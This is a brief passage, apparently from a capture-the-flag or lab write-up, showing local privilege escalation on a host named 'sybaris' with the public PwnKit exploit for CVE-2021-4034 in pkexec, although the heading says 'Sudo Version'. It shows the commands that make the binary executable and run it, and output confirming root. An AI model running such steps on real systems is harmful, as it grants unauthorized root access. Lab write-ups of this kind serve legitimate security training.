Sudo Version - CVE 2021-4034

GitHub - ly4k/PwnKit: Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege EscalationGitHub

Following the steps the github has I transferred the PwnKit binary to the machine and ran it, then I was able to get root.

[pablo@sybaris tmp]$ chmod +x PwnKit
chmod +x PwnKit
[pablo@sybaris tmp]$ ./PwnKit 'id'
./PwnKit 'id'
uid=0(root) gid=0(root) groups=0(root),1000(pablo)